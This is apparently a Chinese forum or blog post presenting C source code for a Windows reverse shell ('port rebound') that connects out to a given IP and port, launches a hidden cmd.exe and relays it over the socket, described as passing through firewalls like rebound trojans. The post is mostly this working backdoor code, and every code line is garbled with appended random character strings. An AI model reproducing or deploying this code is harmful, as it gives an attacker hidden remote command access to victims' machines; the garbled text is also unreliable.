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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 odca?  
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/* ============================== 7yu-xnt3s  
Rebound port in Windows NT B?&0NpVD  
By wind,2006/7 W#!AZ!  
===============================*/ WYF8?1dt +  
#include w/ ~\NI  
#include ;+ C$EJw-  
GXm#\)  
#pragma comment(lib,"wsock32.lib") (b~l.@xh  
\},H\kK+^  
void OutputShell(); QlvP[Jtr  
SOCKET sClient; BPv+gx(>k  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4z P"h0  
3r#['UmT  
void main(int argc,char **argv) :%9R&p:'ar  
{ ].d%R a:{  
WSADATA stWsaData; 517"x@6Q  
int nRet; &I=o1F2B)  
SOCKADDR_IN stSaiClient,stSaiServer; i/*)1;xsk  
Vaf,  
if(argc != 3) pf'DbY!  
{ -zYa@PW  
printf("Useage:\n\rRebound DestIP DestPort\n"); 423%K$710  
return; , poc!n//  
} <D:q4t  
!X: TieyVu  
WSAStartup(MAKEWORD(2,2),&stWsaData); ma-GvWD2  
s@&3;{F6D  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9h+Hd&=  
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stSaiClient.sin_family = AF_INET; } Ifa5Lq)  
stSaiClient.sin_port = htons(0); Z[VrRT,\c  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B.4e4%BBS  
JtY$AP$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o|d:rp!^  
{ ~q+AAWL  
printf("Bind Socket Failed!\n"); UTE6U6  
return; 4jDi3MMU9  
} [Y!HQ9^LEp  
qJs_ahy(  
stSaiServer.sin_family = AF_INET; TU)Pi.Aa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kF'9@*?J  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qbSI98r w  
7L/LlO/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) } l+_KA  
{ |LJv*  
printf("Connect Error!"); Z1 )1s  
return; 075IW"p'  
} Q3& ?28  
OutputShell(); /,uxj5_cT  
} CvRCcSJM\2  
Oto8?4[n  
void OutputShell() $X;OK  
{ z[ ;n2o|s  
char szBuff[1024]; nLAwo3  
SECURITY_ATTRIBUTES stSecurityAttributes; [4C_iaE  
OSVERSIONINFO stOsversionInfo; d , g~.iS~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UVLS?1ra  
STARTUPINFO stStartupInfo; CLZ j=J2  
char *szShell; ,F->*=  
PROCESS_INFORMATION stProcessInformation; L"vk ^>E6  
unsigned long lBytesRead; N/WtQSl  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q)4[zStR#  
GIYdI#0RC  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !XjZt  
stSecurityAttributes.lpSecurityDescriptor = 0; 8IL5 :7H8  
stSecurityAttributes.bInheritHandle = TRUE; d~_5Jx  
:9L}jz  
yqK_|7I+  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |FT.x9e-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6'mZM=d  
h&i(Kfv*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FZU1WBNL%t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X&aQR[X  
stStartupInfo.wShowWindow = SW_HIDE; yn+m,K/  
stStartupInfo.hStdInput = hReadPipe; gktlwiCZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gA_oJW4_  
-">Tvi4  
GetVersionEx(&stOsversionInfo); g qORE/[  
K!(WcoA&2i  
switch(stOsversionInfo.dwPlatformId) Fv,c8f  
{ E$8-8[  
case 1: +W1l9n*  
szShell = "command.com"; um]N]cCD`  
break; ! 1?u0  
default: Y ?~n6<  
szShell = "cmd.exe"; RB*z."  
break; lMW6D0^  
} ?$;&DoE  
 w<!&%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SkipPEhA  
[-#1;!k  
send(sClient,szMsg,77,0); cEp/qzAiD%  
while(1) w=-{njMz6&  
{ OAo03KW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `ba<eT':  
if(lBytesRead) >o p/<?<  
{ c|m?f  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tMU10=d  
send(sClient,szBuff,lBytesRead,0); He4q-\ht  
} 0Z((cI\J  
else . P 44t  
{ GM;uwL#  
lBytesRead=recv(sClient,szBuff,1024,0); s$9ow<oi]  
if(lBytesRead<=0) break; sX>|Y3S\U  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yTbtS-  
} |@b|Q,  
} ?vD<_5K; I  
d_:tiHw$  
return; *S <I!7Q  
}
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